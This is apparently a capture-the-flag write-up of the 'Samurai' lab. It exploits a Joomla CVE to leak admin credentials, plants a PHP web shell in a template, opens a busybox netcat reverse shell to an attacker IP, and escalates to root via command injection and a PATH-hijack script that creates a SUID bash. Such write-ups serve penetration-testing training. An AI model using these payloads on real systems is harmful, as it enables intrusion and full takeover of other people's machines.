> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/samurai.md). # Samurai {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Objective As part of a penetration test, your team identified an interesting web server. Your task is to enumerate the target, establish an initial foothold, and escalate privileges to root. #### Initial Access You have been provisioned VPN access to the client environment. No initial credentials are provided. ## Summary
Summary In Samurai, we begin with external enumeration and discover a web server on port `80` alongside SSH on port `22`, then use directory brute forcing to uncover a Joomla administrator panel at `/administrator`. Fingerprinting the CMS reveals version `4.2.5`, which is vulnerable to `CVE-2023-23752`, allowing unauthenticated access to sensitive API endpoints. Exploiting this flaw, we extract valid credentials for the user `Miyamoto` and successfully authenticate into the Joomla admin panel. From there, we abuse template editing functionality to inject a PHP web shell, gaining a reverse shell as `www-data`. For privilege escalation, we identify a SUID backup utility `/opt/backup/DbMaria` that wraps `mariadb-dump` with root privileges. Static analysis of the binary reveals unsafe command construction, enabling command injection via crafted arguments to spawn a `root` shell using `bash -p`. As an alternative path, we also identify a PATH hijacking opportunity by exploiting the relative `mariadb-dump` call, allowing us to place a malicious binary earlier in the execution path and trigger SUID execution.
## Recon We use `rustscan -b 500 -a samurai.hsm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" %} ``` rustscan -b 500 -a samurai.hsm --top -- -sC -sV -Pn ``` {% endcode %}
We identify a web server running on port `80`, along with an SSH service exposed on port `22`.
We first visit the site using our browser, but at first glance, we can only see a static web page. We proceed with a directory scan. {% code overflow="wrap" expandable="true" %} ``` http://samurai.hsm/ ``` {% endcode %}
By running a directory scan with Feroxbuster, we can identify some interesting directories. In particular, `/administrator/`. {% code overflow="wrap" %} ``` feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://samurai.hsm' ``` {% endcode %}
We visit the admin page and see the Joomla login screen. So we are dealing with the Joomla CMS. {% code overflow="wrap" %} ``` http://samurai.hsm/administrator/ ``` {% endcode %}
Next, we'll use Joomscan to identify the version, publicly available information, and potential vulnerabilities. We are dealing with version `4.2.5`. {% code overflow="wrap" %} ``` joomscan -u http://samurai.hsm/ ``` {% endcode %}
## Access as Miyamoto After some research, we also find a vulnerability related to this version: `CVE-2023-23752` CVE-2023-23752 is an improper access control flaw in Joomla 4.0.0–4.2.7 that allows unauthenticated users to access restricted webservice endpoints and leak sensitive configuration data: > An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints. {% code overflow="wrap" %} ``` CVE-2023-23752 ``` {% endcode %} We can use the following explpoit from exploit-db. {% code overflow="wrap" %} ``` https://www.exploit-db.com/exploits/51334 ``` {% endcode %}
We run the exploit and identify the user `Miyamoto` and a DB password. {% code overflow="wrap" %} ``` ruby CVE-2023-23752.rb http://samurai.hsm ``` {% endcode %}
Next, we head back to the log in page and try those credentials found. {% code overflow="wrap" %} ``` http://samurai.hsm/administrator ``` {% endcode %}
We are able to log in and with that we have administrator privileges. {% code overflow="wrap" %} ``` http://samurai.hsm/administrator/index.php ``` {% endcode %}
## Shell as www-data This allows us to place a reverse or web shell in one of the templates. We use the following guide: {% embed url="" %} First we head to System->Templates->Administrator Templates. {% code overflow="wrap" %} ``` http://samurai.hsm/administrator/index.php?option=com_templates&view=templates&client_id=1 ``` {% endcode %}
There we select a template we want to edit and open the index page. There we place the following web shell. {% code overflow="wrap" %} ``` "; $cmd = ($_REQUEST["cmd"]); system($cmd); echo ""; die; }?> ``` {% endcode %}
We can call it like the following. {% code overflow="wrap" %} ``` http://samurai.hsm/administrator/?cmd=id ``` {% endcode %}
Next, we prepare a listener for our reverse shell. {% embed url="" %} {% code overflow="wrap" %} ``` penelope -p 4445 ``` {% endcode %} We issue a reverse shell (logged in as Miyamoto) using busybox... {% code overflow="wrap" %} ``` http://samurai.hsm/administrator/?cmd=busybox nc 10.200.46.3 4445 -e /bin/bash ``` {% endcode %}
... and receive a connection. We are `www-data` and find the user flag at `/var/www/user.txt`.
## Shell as root As `www-data` we are allow to run the `/opt/backup/DbMaria` as `root` using `sudo`. {% code overflow="wrap" %} ``` sudo -l ``` {% endcode %}
Next, we analyzed the executable in more detail. We begin with `strings` to extract readable character sequences and gain insight into its functionality. If this proved insufficient, the next step would be to decompile the binary using Ghidra or Binary Ninja. {% code overflow="wrap" %} ``` strings /opt/backup/DbMaria ``` {% endcode %}
{% code overflow="wrap" expandable="true" %} ``` www-data@streetcoder:/var/www$ strings /opt/backup/DbMaria | head -50 /lib64/ld-linux-x86-64.so.2 __cxa_finalize __libc_start_main system setuid snprintf __stack_chk_fail libc.so.6 GLIBC_2.2.5 GLIBC_2.4 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH Usage: %s mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql :*3$" GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry DbMaria.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable _edata _fini __stack_chk_fail@GLIBC_2.4 system@GLIBC_2.2.5 snprintf@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used _end __bss_start main __TMC_END__ _ITM_registerTMCloneTable ``` {% endcode %} ### via Command Injection Here we can see the following line: {% code overflow="wrap" expandable="true" %} ``` mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql ``` {% endcode %} We assume, that the line is executed via `system()`. We try to abuse this by injecting a simple command that spawns `bash` with the `-p` flag, allowing it to preserve the effective privileges of the owner and potentially grant us a root shell. A `root` shell is spawned and we find the final flag at `/root/root.txt`. {% code overflow="wrap" expandable="true" %} ``` sudo /opt/backup/DbMaria 'test; /bin/bash -p #' ``` {% endcode %}
### via PATH Hijacking We can see that the `mariadb-dump` application is not called using an absolute path, but a relative one. The idea is to modify the environment variable so that the system first checks a directory for the executable that contains a malicious one. {% code overflow="wrap" expandable="true" %} ``` mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` mariadb-dump ``` {% endcode %} We create a malicious `mariadb-dump` executable in `/tmp/mariadb-dump` and make it executable. {% code title="/tmp/mariadb-dump" overflow="wrap" lineNumbers="true" expandable="true" %} ``` #!/bin/bash cp /bin/bash /tmp/bash chmod +xs /tmp/bash ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` chmod +x /tmp/mariadb-dump ``` {% endcode %}
Unfortunatley we can perform a PATH Hijack using sudo because of the set secure path option \ (`sudo -l`) that can't be manipulated: {% code overflow="wrap" expandable="true" %} ``` secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin ``` {% endcode %} But since it is a SUID binary, sudo is not required. {% code overflow="wrap" expandable="true" %} ``` ls -lah /opt/backup/DbMaria ``` {% endcode %}
We create an example file to import {% code overflow="wrap" expandable="true" %} ``` touch /tmp/test ``` {% endcode %} Manipulate the `PATH` variable so it also includes the `/tmp` directory. {% code overflow="wrap" expandable="true" %} ``` export PATH=/tmp:$PATH ``` {% endcode %}
Next, we run the executable `/opt/backup/DbMaria` and see a SUID bash binary created in `/tmp`. {% code overflow="wrap" expandable="true" %} ``` /opt/backup/DbMaria /tmp/test ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` ls -lah /tmp/bash ``` {% endcode %}
We run it and get a `root` shell: {% code overflow="wrap" expandable="true" %} ``` /tmp/bash -p ``` {% endcode %}